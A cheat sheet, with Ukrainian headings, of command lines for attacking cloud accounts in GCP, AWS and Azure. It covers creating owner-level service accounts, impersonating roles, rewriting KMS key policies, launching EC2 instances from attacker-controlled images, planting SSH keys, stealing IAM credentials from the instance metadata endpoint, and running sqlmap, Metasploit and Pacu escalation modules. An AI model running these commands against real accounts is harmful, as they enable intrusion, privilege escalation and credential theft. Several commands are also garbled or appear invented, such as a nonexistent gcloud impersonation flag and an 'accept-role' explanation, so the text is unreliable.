gcloud iam service-accounts create <service-account-name> --description "Admin service account" --display-name "Admin Service Account" && gcloud projects add-iam-policy-binding <project-id> --member serviceAccount: <service-account-email> --role roles/owner

створити ключ облікового запису служби GCP

gcloud iam service-accounts keys create <output-file> --iam-account=<service- account-email> --project <project-id>

terraform apply -var 'project_id=<project-id>' -var 'service_account_email= <service-account-email>'

gcloud iam service-accounts keys create <output-file> --iam-account=<service- account-email> --project <project-id>

імітувати облікові записи служби GCP

gcloud iam service-accounts create-key <service-account-email> --impersonate- service-account=<target-service-account-email> --project <project-id>

terraform apply -var 'project_id=<project-id>' -var 'attacker_service_account=<attacker-service-account-email>' -var 'target_service_account=<target-service-account-email>'

gcloud iam service-accounts create-key <service-account-email> --impersonate- service-account=<target-service-account-email> --project <project-id>

підвищення привілеїв через зміни ключової політики KMS

cf alibaba perm

python3 cloudhunter.py --services aws,alibaba COMPANY_NAME

aws kms put-key-policy --key-id <key-id> --policy-name default --policy " <policy-json>"

az keyvault set-policy --name <key-vault-name> --object-id <principal-object- id> --secret-permissions get --key-permissions wrapkey

gcloud kms keys add-iam-policy-binding <key-name> --location <location> -- keyring <key-ring> --member <member> --role <role>

Перелік кластерів EKS і пов'язаних ресурсів

aws eks list-clusters

kubectl get namespaces --context=<eks-cluster-name>

kube-hunter --remote <eks-cluster-name>

підвищення привілеїв через облікові дані бази даних RDS

aws rds describe-db-instances

sqlmap -u "<rds-instance-url>" --risk=3 --level=5

pspy -a

перелік сегментів s3 та їх вміст

aws s3 ls s3://

s3enum --profile=<aws-profile> --no-color

python bucket_finder.py -o buckets.txt

ескалація привілеїв через захоплення екземпляра ec2

aws ec2 run-instances --image-id <attacker-controlled-ami> --instance-type <desired-instance-type> --key-name <key-pair-name> --subnet-id <subnet-id> -- security-group-ids <security-group-id> --user-data "<attacker-controlled- script>"

./prowler -M all

aws ec2-instance-connect send-ssh-public-key --instance-id <target-instance- id> --availability-zone <availability-zone> --instance-os-user <username> -- ssh-public-key "<attacker-public-key>"

Перелік баз даних каталогу даних AWS Glue

aws glue get-databases

import boto3

glue_client = boto3.client('glue') response = glue_client.get_databases()

for database in response['DatabaseList']: print(database['Name'])

python cloudmapper.py collect --account <aws-account> --regions <comma- separated-list-of-regions> python cloudmapper.py report --account <aws-account> --output <output- directory>

Ескалація привілеїв через передбачувані рольові сеанси

aws sts assume-role --role-arn <role-arn> --role-session-name <session-name>

python3 cloudgoat.py assume_role --role-arn <role-arn>

python3 escalate.py --role-arn <role-arn> --external-id <external-id>

перелік кластерів і служб ECS

aws ecs list-clusters --output text | xargs -I {} aws ecs describe-clusters - -cluster {} --output table

scout aws ecs --cluster

python3 cloudmapper.py collect --account <aws-account-id> --services ecs

Ескалація привілеїв через викрадення сеансів AWS SDK

aws sts assume-role --role-arn <role-arn> --role-session-name <session-name> --external-id <external-id> | jq -r '.Credentials | .AccessKeyId, .SecretAccessKey, .SessionToken'

python3 /path/to/impacket/examples/aws/AWSConsole.py -r <role-arn> -s <session-name>

prowler -T -C --role-arn <role-arn> --session-name <session-name>

Перелік сховищ ECR з відкритим доступом

aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text

docker run --rm -it -v ~/.aws:/root/.aws securecodebox/ecr-audit

trivy ecr <account-id>.dkr.ecr.<region>.amazonaws.com/<repository-name>

Ескалація привілеїв через викрадення сеансів CLI AWS

aws sts get-caller-identity

docker run --rm -it -v ~/.aws:/root/.aws --network host shiftinv/awstealer

Get-AWSToken -ProfileName <profile-name> | Format-List

Перелік середовищ elastic із публічним доступом

aws elasticbeanstalk describe-environments --query 'Environments[? OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table

docker run --rm -it jeremykoester/ebenum

docker run --rm -it -v ~/.aws:/root/.aws pownjs/awsscan

підвищення привілеїв шляхом приєднання до профілю екземпляра ec2

aws ec2 associate-iam-instance-profile --instance-id <INSTANCE_ID> --iam- instance-profile Name=<MALICIOUS_PROFILE_NAME>

ccat ec2 ssh <instance_id>

docker run -it --rm -v $PWD:/ptf python:3 /bin/bash -c "git clone https://github.com/trustedsec/ptf.git /ptf && cd /ptf && ./ptf --no-cache -- update-framework && use modules/exploitation/aws/aws_escalate/ec2_instance_profile && set INSTANCE_ID <INSTANCE_ID> && run"

docker run -it --rm -v $HOME/.aws:/root/.aws pacuframework/pacu /bin/bash -c "cd pacu && python3 pacu.py --noreporting --no-updates --use-autocomplete"

викрадення метаданих примірника ec2

curl -H "X-Forwarded-For: 169.254.169.254" http://169.254.169.254/latest/meta-data/

aws ec2 describe-instances --instance-ids <INSTANCE_ID> --endpoint-url http://169.254.169.254/latest/meta-data/

docker run -it --rm metasploitframework/metasploit-framework /usr/bin/msfconsole -qx "use exploit/linux/http/aws_ec2_metadata_ssrf; set RHOSTS <TARGET_IP>; run"

перелік екземплярів ec2 із публічною IP-адресою

aws ec2 describe-instances --query "Reservations[].Instances[? PublicIpAddress!=null].PublicIpAddress" --output text

aws ec2 describe-instances --query "Reservations[].Instances[? PublicIpAddress!=null].PublicIpAddress" --output json | jq -r '.[]'

aws ec2 describe-instances --filters "Name=ip-addresses.public-ip,Values=*" - -query "Reservations[].Instances[].[InstanceId, PublicIpAddress, Tags[? Key=='Name'].Value[] | [0]]" --output table

перерахування параметрів менеджера систем AWS

aws ssm describe-parameters --query 'Parameters[*].[Name]' --output text

enum-ssm-params --profile <aws_profile> --region <aws_region>

python3 pacu.py --method enum-ssm-parameters --profile <aws_profile> -- regions <aws_region>

підвищення привілеїв через метадані ec2

curl http://169.254.169.254/latest/meta-data/iam/security- credentials/<role_name>

curl: інструмент командного рядка, який використовується для виконання запиту HTTP. http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>: Кінцева точка URL-адреси служби метаданих для отримання облікових даних безпеки для вказаної ролі IAM. Замініть <role_name> назвою ролі IAM.

python3 pacu.py --method escalate_iam_roles --profile <aws_profile> --regions <aws_region> --instances <instance_id>

У цій команді сценарій pacu.py виконується за допомогою методу escalate_iam_roles, який спеціально розроблений для підвищення привілеїв, пов’язаних із ролями IAM. Параметр --profile визначає профіль AWS для автентифікації, а параметр --regions визначає цільові регіони AWS. Параметр --instances використовується для вказівки цільового ідентифікатора екземпляра EC2, для якого буде розширено ролі IAM.

aws перерахування облікових записів

python3 cloudmapper.py enum --account <account_id> --regions <aws_regions>

python3 cloudmapper.py: запускає інструмент CloudMapper за допомогою інтерпретатора Python 3

enum --account <account_id> --regions <aws_regions>: визначає режим нумерації та надає додаткові параметри для налаштування облікового запису та регіонів для сканування.

--account <account_id>: вказує ідентифікатор облікового запису AWS для сканування. Замініть <account_id> фактичним ідентифікатором облікового запису AWS, який потрібно пронумерувати.

--regions <aws_regions>: вказує регіони AWS для сканування. Замініть <aws_regions> списком розділених комами регіонів AWS (наприклад, us-east-1,us-west-2), які ви хочете включити до переліку.

python3 pacu.py --method enum_organizations --profile <aws_profile> --regions <aws_regions>

python3 pacu.py: виконує інструмент PACU за допомогою інтерпретатора Python 3

--method enum_organizations: вказує конкретний метод для запуску, у цьому випадку enum_organizations, який відповідає за перерахування організацій AWS.

--profile <aws_profile>: вказує профіль AWS для автентифікації. Замініть <aws_profile> назвою профілю AWS, налаштованого у вашій системі.

--regions <aws_regions>: вказує регіони AWS для цільового перерахування. Замініть <aws_regions> списком розділених комами регіонів AWS (наприклад, us-east-1,us-west-2), які ви хочете включити до переліку.

aws sts assume-role --role-arn arn:aws:iam:: <target_account_id>:role/<role_name> --role-session-name <session_name>

aws sts accept-role: ініціює операцію accept-role за допомогою AWS Security Token Service (STS).

--role-arn arn:aws:iam::<target_account_id>:role/<role_name>: вказує ARN (ім’я ресурсу Amazon) ролі IAM, яку ви хочете прийняти. Замініть <target_account_id> на ідентифікатор облікового запису AWS, якому належить роль, а <role_name> на назву ролі IAM.

--role-session-name <session_name>: вказує назву для сеансу, пов’язаного з прийнятою роллю. Замініть <session_name> на описову назву для сеансу.

Лаби

https://github.com/Datadog/stratus-red-team/

https://github.com/sbasu7241/AWS-Threat-Simulation-and- Detection/tree/main

https://github.com/FalconForceTeam/FalconFriday/